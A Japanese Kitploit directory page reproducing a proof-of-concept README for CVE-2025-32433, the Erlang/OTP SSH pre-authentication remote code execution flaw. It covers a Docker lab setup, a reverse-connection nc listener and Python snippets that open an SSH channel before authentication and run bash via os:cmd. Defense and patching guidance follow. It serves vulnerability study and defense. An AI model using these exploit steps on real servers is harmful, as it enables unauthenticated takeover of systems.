Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — CVE-2025-32433の概念実証エクスプロイトで、Erlang/OTP SSHの事前認証チャネル混乱の脆弱性であり、Dockerラボで認証バイパスとリモートコード実行を示します。 | Kitploit
ツール/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
脆弱性分析エクスプロイトペネトレーションテスト学習と教育リモートアクセスツール
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

CVE-2025-32433の概念実証エクスプロイトで、Erlang/OTP SSHの事前認証チャネル混乱の脆弱性であり、Dockerラボで認証バイパスとリモートコード実行を示します。

リポジトリを見る
2178ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Erlang/OTP SSH 事前認証チャネル混乱

📺 概念実証ビデオ

説明: Erlang/OTP SSH 事前認証チャネル混乱の脆弱性のデモンストレーション。

YouTube で全デモを視聴するにはここをクリック

概要

この PoC は何についてですか?

この概念実証は CVE-2025-32433 を実証します。これは Erlang/OTP SSH サーバー実装 における脆弱性で、攻撃者が 認証前に SSH チャネルを開き、コマンドを実行する ことを可能にします。

SSH プロトコルの状態遷移の不適切な強制により、特定の SSH メッセージ(SSH_MSG_CHANNEL_OPEN および SSH_MSG_CHANNEL_REQUEST)が ユーザー認証が正常に完了する前に 受け入れられます。これにより、完全な 認証バイパス と Erlang VM 内での リモートコマンド実行 が発生します。


影響を受ける条件

この脆弱性が機能するためには何が脆弱でなければならないですか?

脆弱性は以下の条件が満たされた場合にトリガーされます。

  • この脆弱性の影響を受ける Erlang/OTP バージョンは、以下を含むそれ以前のすべてのバージョンです。
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • Erlang ssh アプリケーションが有効である
  • パスワードベースの認証が設定されている
  • SSH デーモンが攻撃者から到達可能である
  • 有効な資格情報は不要

重要なのは、この問題は 弱い資格情報や設定ミスに依存せず、プロトコル状態処理の欠陥に起因する点です。


技術的根本原因と悪用の流れ

脆弱性はどのように現れ、なぜ悪用可能なのですか?

問題は Erlang/OTP SSH サーバーにおける 状態混乱の欠陥 に起因し、チャネル関連メッセージが処理される前に認証状態が厳密に強制されない ことにあります。

高いレベルでは、悪用は以下のように進行します。

  1. 攻撃者は SSH バージョン交換 および 鍵交換 フェーズを完了します。
  2. サーバーは接続をアクティブなセッション状態に遷移させますが、ユーザー認証の成功を強制しません。
  3. 攻撃者は session チャネルの SSH_MSG_CHANNEL_OPEN リクエストを送信します。
  4. サーバーは 認証完了前に チャネルリクエストを誤って受け入れます。
  5. 開かれたチャネル上で exec タイプの SSH_MSG_CHANNEL_REQUEST が送信されます。
  6. Erlang SSH サブシステムはリクエストを接続ハンドラに転送します。
  7. 提供されたペイロードは VM コンテキスト内で Erlang プリミティブ(例:os:cmd/1)を介して実行されます。

この動作は、チャネルの作成とリクエストが認証成功後にのみ許可される と定義されている RFC 4252/4254 の SSH プロトコルモデルに違反します。

要約すると:

  • 認証状態は追跡されるが 強制されない
  • チャネル処理は セッション状態 にゲートされ、認証状態 にはゲートされない
  • ssh_connection プロセスが exec リクエストを時期尚早に処理する
  • これにより 事前認証リモートコード実行 が可能になる

これは 論理および状態管理の脆弱性 であり、暗号の弱点ではありません。


ビルドとデプロイ

以下の手順で Docker を使用して 自己完結型の脆弱な環境 をビルドしデプロイします。コンテナはすべての資格情報を拒否するように意図的に強化された SSH サーバーを実行し、コマンド実行の成功が認証バイパスの結果であることを保証します。

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

build

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

実行後、SSH デーモンはポート 2222 で公開され、提供された PoC を使用した悪用の準備が整います。


悪用

このスクリプトは、Erlang/OTP SSH サーバーにおいて特定の SSH プロトコルメッセージが認証前に処理されることを許す欠陥を悪用します。

悪用プロセスには 2 つのターミナルが必要です: 1 つはリバース接続を受け取るため、もう 1 つはエクスプロイトを起動するためです。

  • リスナー(ターミナル 1):

    nc -lvnp 4488
    
  • エクスプロイトの実行(ターミナル 2):

    python3 exploit.py
    

悪用スクリプトの説明

  1. プロトコル偽装

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    これらのメッセージは、サーバーに接続を正当な SSH クライアントとして扱わせるために使用されます。 認証を完了せずにチャネル関連メッセージを許可するのに十分なほど SSH プロトコル状態を進めます。

  2. 事前認証セッションチャネル

    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    このリクエストは、認証前にセッションチャネルを開くために使用されます。 脆弱な Erlang/OTP SSH サーバーでは、通常のアクセス制御をバイパスし、不正なセッションを作成します。

  3. コマンド実行リクエスト

    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    このリクエストは、Erlang ランタイムを介してコマンド実行をトリガーするために使用されます。 ペイロードを Erlang 構文でラップすることで、コマンドが標準の SSH シェルコマンドとしてではなく、Erlang VM によって実行されることを保証します。

結果

ターゲットが脆弱である場合、認証なしで提供されたコマンドが実行されます。

exploit

nc


防御

この脆弱性に対する防御は、標準の認証ログではバイパス試行が記録されない可能性があるため(認証がスキップされるため)、厳格なネットワークセグメンテーションとプロトコルレベルの監視に依存します。

  • ネットワーク制限: Erlang SSH ポート(デフォルトまたはカスタム)をパブリックインターネットに公開しないでください。信頼された IP にアクセスを制限するか、VPN/踏み台ホストを要求してください。
  • IDS/IPS シグネチャ: 侵入検知システムを構成して、鍵交換の直後に SSH_MSG_CHANNEL_OPEN(タイプ 90)パケットが送信され、先行する SSH_MSG_USERAUTH_SUCCESS(タイプ 52)パケットがない SSH セッションを警告します。
  • ランタイム監視: アプリケーションログで正常にログインしたユーザーセッションと相関しない、予期しない os:cmd 呼び出しやシェルプロセスの生成について Erlang VM を監視します。

緩和策

唯一の完全な修復策は、厳格な状態遷移を強制するために基盤となる Erlang/OTP ランタイムにパッチを適用することです。

1. Erlang/OTP の更新

チャネル作成前に認証チェックを強制するバージョンに直ちに Erlang/OTP ランタイムをアップグレードしてください。「影響を受ける条件」セクションにリストされているものより 新しい バージョンを実行していることを確認してください。

最新のセキュリティパッチについては、公式の Erlang/OTP GitHub Releases を確認してください。

2. 一時的な回避策

即時のアップグレードが不可能な場合は、以下のコントロールを適用してください。

  • SSH アプリケーションの無効化: SSH インターフェースがミッションクリティカルでない場合は、アプリケーションを停止して攻撃対象領域を削除します。

    ssh:stop().
    
  • ファイアウォールのホワイトリスト化: 公開された SSH ポートへのネットワークアクセスを内部の管理サブネットにのみ厳密に制限します。


協力者

AntonieSoga Antonie Șoga AntonieSoga · 協力者

7uddy Ene Călin Tudor 7uddy · 協力者

BanicaCristian04 Cristian Bănică BanicaCristian04 · 協力者


⚠️ 免責事項

教育および防御研究目的のみ。


参考文献

  • CVE-2025-32433
  • Erlang/OTP SSH Source
  • RFC 4252/4254

cve

ツールをダウンロード